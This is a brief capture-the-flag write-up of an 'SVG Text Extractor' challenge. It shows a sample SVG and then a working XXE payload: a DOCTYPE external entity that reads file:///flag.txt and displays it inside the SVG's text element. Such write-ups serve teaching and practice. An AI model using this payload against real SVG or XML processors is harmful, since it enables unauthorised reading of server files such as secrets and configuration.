

SVG Text Extractor

For this challenge, I first explored the website a little. I searched up SVG text and obtained the following code:

```
<svg viewBox="0 0 240 80" xmlns="http://www.w3.org/2000/svg">
  <style>
    .small {
      font: italic 13px sans-serif;
    }
    .heavy {
      font: bold 30px sans-serif;
    }

    /* Note that the color of the text is set with the      *
     * fill property, the color property is for HTML only */
    .Rrrrr {
      font: italic 40px serif;
      fill: red;
    }
  </style>

  <text x="20" y="35" class="small">My</text>
  <text x="40" y="35" class="heavy">cat</text>
  <text x="55" y="55" class="small">is</text>
  <text x="65" y="55" class="Rrrrr">Grumpy!</text>
</svg>
```

Clearly, SVG files use XML. Therefore, we can try an XXE attack. I changed the above code to be the following:

```
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]>
<svg viewBox="0 0 240 80" xmlns="http://www.w3.org/2000/svg">
  <text x="65" y="55" class="Rrrrr">&xxe;</text>
</svg>
```

Through this, I was able to get the flag.